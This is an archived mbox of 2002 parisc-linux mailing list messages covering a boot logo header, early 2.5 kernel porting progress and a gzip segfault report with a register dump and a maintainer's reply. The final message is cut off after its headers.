===========================================_\_v __/_/_//_/\_,_/ /_/\_\


From - Thu Nov 08 21:23:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux_logo.h
Date: Sat, 27 Jul 2002 18:15:57 +0300
Lines: 62
Approved: news@gmane.org
Message-ID: <20020727161557.E40F949BF4@mail.esiee.fr>
References: <OE68jjzU6Cz6X17MR7S00007ad2@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621574 11806 80.91.229.3 (22 Nov 2014 01:59:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:34 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@parisc-linux.org
To: kenneth westelinck <kennywest1@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 27 10:16:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69F9B4829
	for <parisc-linux@parisc-linux.org>; Sat, 27 Jul 2002 10:15:59 -0600 (MDT)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP
	id E40F949BF4; Sat, 27 Jul 2002 18:15:57 +0200 (CEST)
In-Reply-To: <OE68jjzU6Cz6X17MR7S00007ad2@hotmail.com>
X-Originating-IP: [212.198.140.72]
User-Agent: IMHO/0.98.3 (Webmail for Roxen)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15669

Kenneth, thank you for your support !

I will make your new version of the logo available on our website
ASAP.

Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/

-------------------
> Thanks, but I don't take any credits for this. Thank the people from
esiee.
> I only fixed some define statements.
> I'll try to remove the HP-style background, once I've figured out
how to
> convert the header file to a XPM-file.
> 
> regards,
> 
> Kenneth
> 
> ----- Original Message -----
> From: "Helge Deller" <deller@gmx.de>
> To: "kenneth westelinck" <kennywest1@hotmail.com>;
> <parisc-linux@parisc-linux.org>
> Sent: Tuesday, July 23, 2002 11:14 PM
> Subject: Re: [parisc-linux] linux_logo.h
> 
> 
> > Hi Kenneth,
> >
> > nice logo, but personally I don't like the HP-style background.
> > Couldn't you make a patch without any background pattern and just
black
> instead ?
> >
> > Greetings,
> > Helge
> >
> > On Tuesday 23 July 2002 15:20, kenneth westelinck wrote:
> > > Hi all,
> > >
> > > The linux_logo.h that is available on the esiee site
> > > (http://pateam.esiee.fr/download.html) seems a little outdated.
Here's a
> > > version that works with 2.4.18-pa56.
> > >
> > > regards,
> > >
> > > Kenneth
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


From - Thu Nov 08 21:23:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] state of 2.5 merge
Date: Sat, 27 Jul 2002 22:00:53 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20020728050053.GA1419@tausq.org>
References: <20020722034037.F12523@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621574 11808 80.91.229.3 (22 Nov 2014 01:59:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:34 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 27 22:57:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0101B4829
	for <parisc-linux@parisc-linux.org>; Sat, 27 Jul 2002 22:57:17 -0600 (MDT)
Original-Received: (qmail 1552 invoked from network); 28 Jul 2002 04:57:11 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail16.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <parisc-linux@parisc-linux.org>; 28 Jul 2002 04:57:11 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 08380CE04E; Sat, 27 Jul 2002 22:00:53 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020722034037.F12523@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15670

> we're still a little short of attempting to link.  entry.S and head.S
> need to be massaged to work in the new O(1) scheduler world.  note that
> we're leaving preempt disabled until later.  once it does attempt to link,
> i suspect we'll find there're a lot of functions which need to be written
> (particularly mm-related ones) and probably some include cleanups to do.

In case people are wondering where this is at.... today we got a
somewhat working shell.....

kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Stand-alone shell (version 3.4)
> uname -a
Linux (none) 2.5.26-pa0 #106 Sat Jul 27 18:49:37 PDT 2002 parisc unknown unknown GNU/Linux

This is on a a500 (64-bit kernel). Richard has also had success with
b180 (iirc).

For the most part things are still quite broken (init, ls, etc don't 
work yet).  There are probably some changes related to the task_struct 
to thread_info transition that still needs to be worked out for 
syscalls to work correctly.... 

Richard Hirst worked out most of the bugs to get userspace working.
Thanks Richard! :-)

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "D. Clarke" <dclarke@FlatlineSystems.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gzip segmentation fault(s)
Date: Sun, 28 Jul 2002 18:41:33 -0400
Lines: 128
Approved: news@gmane.org
Message-ID: <003101c23687$f1ace540$0500a8c0@speedygonzo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_002E_01C23666.656FE030"
X-Trace: ger.gmane.org 1416621575 11811 80.91.229.3 (22 Nov 2014 01:59:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:35 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 28 16:41:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from Messiah.FlatlineSystems.net (Messiah.FlatlineSystems.net [206.130.238.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id A3380482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Jul 2002 16:41:11 -0600 (MDT)
Original-Received: from speedygonzo (CPE0f1029959776.cpe.net.cable.rogers.com [24.42.83.162] (may be forged))
	by Messiah.FlatlineSystems.net (8.11.6/8.9.3) with SMTP id g6SMdfZ30112
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Jul 2002 18:39:41 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15671

This is a multi-part message in MIME format.

------=_NextPart_000_002E_01C23666.656FE030
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi!

I just installed 0.9.3 from the base/netinst image fetched from =
/http://ftp.parisc-linux.org/cd-images/palinux-0.9.3-base.iso but I've =
got a small problem.

Everything installed fine, up until apt was about to do it's thing.  =
After adding an apt source it tried to test and every instance where =
gzip was used it seg faulted.

Therefore, I only have a base system installed and can't apt-get =
anything :)

The system is an HP 9000 Server Model D250

Any and all assistance will be appreciated.  Thanks.

Here's what dmesg said (numerous times):

do_page_fault() pid=3D548 command=3D'gzip' type=3D6 address=3D0x00000003

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111
r0-3     00000000 0002fe38 0001dc63 faf00340
r4-7     0002f638 faf00120 000301d2 00000002
r8-11    0003025a 00028c34 faf004b8 00000000
r12-15   00000046 00000014 faf00468 00000000
r16-19   00000000 00025370 00017800 00000000
r20-23   00000000 0003005c 00000000 40182310
r24-27   00000000 00000000 0003005c 0002f638
r28-31   00000000 00000000 faf003c0 0001dc63
sr0-3    00000000 00000133 00000000 00000133
sr4-7    00000133 00000133 00000133 00000133

IASQ: 00000133 00000133 IAOQ: 00000003 00000007
 IIR: 4bc23ed9    ISR: 00000133  IOR: 40184d84
 CPU:        0   CR30: 1e20c000 CR31: 10338000
 ORIG_R28: 4002a29c



~ Darryl
~ http://pileofcrap.org/

------=_NextPart_000_002E_01C23666.656FE030
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2716.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I just installed 0.9.3 from the =
base/netinst image=20
fetched from =
/http://ftp.parisc-linux.org/cd-images/palinux-0.9.3-base.iso but=20
I've got a small problem.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Everything installed fine, up until apt =
was about=20
to do it's thing.&nbsp; After adding an apt source it tried to test and =
every=20
instance where gzip was used it seg faulted.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Therefore, I only have a base system =
installed and=20
can't apt-get anything :)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>The system is an HP 9000 Server Model=20
D250</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Any and all assistance will be =
appreciated.&nbsp;=20
Thanks.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Here's what dmesg said (numerous=20
times):</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV><FONT face=3DArial =
size=3D2>
<DIV>do_page_fault() pid=3D548 command=3D'gzip' type=3D6 =
address=3D0x00000003</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp; YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI<BR>PSW:=20
00000000000001000000000000001111<BR>r0-3&nbsp;&nbsp;&nbsp;&nbsp; =
00000000=20
0002fe38 0001dc63 faf00340<BR>r4-7&nbsp;&nbsp;&nbsp;&nbsp; 0002f638 =
faf00120=20
000301d2 00000002<BR>r8-11&nbsp;&nbsp;&nbsp; 0003025a 00028c34 faf004b8=20
00000000<BR>r12-15&nbsp;&nbsp; 00000046 00000014 faf00468=20
00000000<BR>r16-19&nbsp;&nbsp; 00000000 00025370 00017800=20
00000000<BR>r20-23&nbsp;&nbsp; 00000000 0003005c 00000000=20
40182310<BR>r24-27&nbsp;&nbsp; 00000000 00000000 0003005c=20
0002f638<BR>r28-31&nbsp;&nbsp; 00000000 00000000 faf003c0=20
0001dc63<BR>sr0-3&nbsp;&nbsp;&nbsp; 00000000 00000133 00000000=20
00000133<BR>sr4-7&nbsp;&nbsp;&nbsp; 00000133 00000133 00000133 =
00000133</DIV>
<DIV>&nbsp;</DIV>
<DIV>IASQ: 00000133 00000133 IAOQ: 00000003 00000007<BR>&nbsp;IIR:=20
4bc23ed9&nbsp;&nbsp;&nbsp; ISR: 00000133&nbsp; IOR:=20
40184d84<BR>&nbsp;CPU:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
0&nbsp;&nbsp;=20
CR30: 1e20c000 CR31: 10338000<BR>&nbsp;ORIG_R28: 4002a29c</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>~ Darryl</DIV>
<DIV>~ <A=20
href=3D"http://pileofcrap.org/">http://pileofcrap.org/</A></FONT></DIV></=
BODY></HTML>

------=_NextPart_000_002E_01C23666.656FE030--




From - Thu Nov 08 21:23:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "D. Clarke" <dclarke@FlatlineSystems.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gzip segmentation fault(s)
Date: Sun, 28 Jul 2002 20:22:07 -0400
Lines: 172
Approved: news@gmane.org
Message-ID: <005901c23695$f9c9e3a0$0500a8c0@speedygonzo>
References: <003101c23687$f1ace540$0500a8c0@speedygonzo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0056_01C23674.7217BDE0"
X-Trace: ger.gmane.org 1416621575 11815 80.91.229.3 (22 Nov 2014 01:59:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:35 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 28 18:21:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from Messiah.FlatlineSystems.net (Messiah.FlatlineSystems.net [206.130.238.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 939F4482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Jul 2002 18:21:39 -0600 (MDT)
Original-Received: from speedygonzo (Marina@CPE0f1029959776.cpe.net.cable.rogers.com [24.42.83.162] (may be forged))
	by Messiah.FlatlineSystems.net (8.11.6/8.9.3) with SMTP id g6T0K8Z31798
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Jul 2002 20:20:08 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15672

This is a multi-part message in MIME format.

------=_NextPart_000_0056_01C23674.7217BDE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Interesting enough, gzip doesn't segfault when i installed from the =
full-install ISO...

~ Darryl
~ http://pileofcrap.org/
  ----- Original Message -----=20
  From: D. Clarke=20
  To: parisc-linux@lists.parisc-linux.org=20
  Sent: Sunday, July 28, 2002 6:41 PM
  Subject: [parisc-linux] gzip segmentation fault(s)


  Hi!

  I just installed 0.9.3 from the base/netinst image fetched from =
/http://ftp.parisc-linux.org/cd-images/palinux-0.9.3-base.iso but I've =
got a small problem.

  Everything installed fine, up until apt was about to do it's thing.  =
After adding an apt source it tried to test and every instance where =
gzip was used it seg faulted.

  Therefore, I only have a base system installed and can't apt-get =
anything :)

  The system is an HP 9000 Server Model D250

  Any and all assistance will be appreciated.  Thanks.

  Here's what dmesg said (numerous times):

  do_page_fault() pid=3D548 command=3D'gzip' type=3D6 =
address=3D0x00000003

       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
  PSW: 00000000000001000000000000001111
  r0-3     00000000 0002fe38 0001dc63 faf00340
  r4-7     0002f638 faf00120 000301d2 00000002
  r8-11    0003025a 00028c34 faf004b8 00000000
  r12-15   00000046 00000014 faf00468 00000000
  r16-19   00000000 00025370 00017800 00000000
  r20-23   00000000 0003005c 00000000 40182310
  r24-27   00000000 00000000 0003005c 0002f638
  r28-31   00000000 00000000 faf003c0 0001dc63
  sr0-3    00000000 00000133 00000000 00000133
  sr4-7    00000133 00000133 00000133 00000133

  IASQ: 00000133 00000133 IAOQ: 00000003 00000007
   IIR: 4bc23ed9    ISR: 00000133  IOR: 40184d84
   CPU:        0   CR30: 1e20c000 CR31: 10338000
   ORIG_R28: 4002a29c



  ~ Darryl
  ~ http://pileofcrap.org/

------=_NextPart_000_0056_01C23674.7217BDE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2716.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Interesting enough, gzip doesn't =
segfault&nbsp;when=20
i installed from the full-install ISO...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>~ Darryl</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>~ http://pileofcrap.org/</FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Ddclarke@flatlinesystems.net=20
  href=3D"mailto:dclarke@flatlinesystems.net">D. Clarke</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  title=3Dparisc-linux@lists.parisc-linux.org=20
  =
href=3D"mailto:parisc-linux@lists.parisc-linux.org">parisc-linux@lists.pa=
risc-linux.org</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Sunday, July 28, 2002 =
6:41 PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> [parisc-linux] gzip =
segmentation=20
  fault(s)</DIV>
  <DIV><BR></DIV>
  <DIV><FONT face=3DArial size=3D2>Hi!</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>I just installed 0.9.3 from the =
base/netinst=20
  image fetched from=20
  /http://ftp.parisc-linux.org/cd-images/palinux-0.9.3-base.iso but I've =
got a=20
  small problem.</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Everything installed fine, up until =
apt was about=20
  to do it's thing.&nbsp; After adding an apt source it tried to test =
and every=20
  instance where gzip was used it seg faulted.</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Therefore, I only have a base system =
installed=20
  and can't apt-get anything :)</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>The system is an HP 9000 Server Model =

  D250</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Any and all assistance will be =
appreciated.&nbsp;=20
  Thanks.</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Here's what dmesg said (numerous=20
  times):</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV><FONT face=3DArial =
size=3D2>
  <DIV>do_page_fault() pid=3D548 command=3D'gzip' type=3D6 =
address=3D0x00000003</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;&nbsp;&nbsp;&nbsp; YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI<BR>PSW: =

  00000000000001000000000000001111<BR>r0-3&nbsp;&nbsp;&nbsp;&nbsp; =
00000000=20
  0002fe38 0001dc63 faf00340<BR>r4-7&nbsp;&nbsp;&nbsp;&nbsp; 0002f638 =
faf00120=20
  000301d2 00000002<BR>r8-11&nbsp;&nbsp;&nbsp; 0003025a 00028c34 =
faf004b8=20
  00000000<BR>r12-15&nbsp;&nbsp; 00000046 00000014 faf00468=20
  00000000<BR>r16-19&nbsp;&nbsp; 00000000 00025370 00017800=20
  00000000<BR>r20-23&nbsp;&nbsp; 00000000 0003005c 00000000=20
  40182310<BR>r24-27&nbsp;&nbsp; 00000000 00000000 0003005c=20
  0002f638<BR>r28-31&nbsp;&nbsp; 00000000 00000000 faf003c0=20
  0001dc63<BR>sr0-3&nbsp;&nbsp;&nbsp; 00000000 00000133 00000000=20
  00000133<BR>sr4-7&nbsp;&nbsp;&nbsp; 00000133 00000133 00000133 =
00000133</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>IASQ: 00000133 00000133 IAOQ: 00000003 00000007<BR>&nbsp;IIR:=20
  4bc23ed9&nbsp;&nbsp;&nbsp; ISR: 00000133&nbsp; IOR:=20
  40184d84<BR>&nbsp;CPU:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
0&nbsp;&nbsp;=20
  CR30: 1e20c000 CR31: 10338000<BR>&nbsp;ORIG_R28: 4002a29c</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>~ Darryl</DIV>
  <DIV>~ <A=20
href=3D"http://pileofcrap.org/">http://pileofcrap.org/</A></FONT></DIV></=
BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0056_01C23674.7217BDE0--




From - Thu Nov 08 21:23:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gzip segmentation fault(s)
Date: Sun, 28 Jul 2002 18:57:25 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20020729005725.1C5B7482A@dsl2.external.hp.com>
References: <003101c23687$f1ace540$0500a8c0@speedygonzo>  <005901c23695$f9c9e3a0$0500a8c0@speedygonzo>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621575 11817 80.91.229.3 (22 Nov 2014 01:59:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "D. Clarke" <dclarke@FlatlineSystems.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 28 18:57:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1C5B7482A; Sun, 28 Jul 2002 18:57:25 -0600 (MDT)
In-Reply-To: Message from "D. Clarke" <dclarke@FlatlineSystems.net> 
   of "Sun, 28 Jul 2002 20:22:07 EDT." <005901c23695$f9c9e3a0$0500a8c0@speedygonzo> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15673

"D. Clarke" wrote:
> Interesting enough, gzip doesn't segfault when i installed from the =
> full-install ISO...

Daryl,
Try updating both the userspace and kernel together.
Newer 2.4.18 kernels should be available as debian packages
and from ftp.parisc-linux.org/kernels/32 (for D-class).


The 0.9.3 ISO is *really* old - a bit over 6 monthes and alot has
changed since then. I will update the parisc-linux.org web page to
point to a debian-hppa 3.0 install ISO. I thought I saw it mentioned
here that those are available on the regular mirrors.

thanks,
grant


From - Thu Nov 08 21:23:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cannot compile kernel
Date: Mon, 29 Jul 2002 11:06:14 +0300
Lines: 786
Approved: news@gmane.org
Message-ID: <3D44F776.6090309@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------030208090504060708000406"
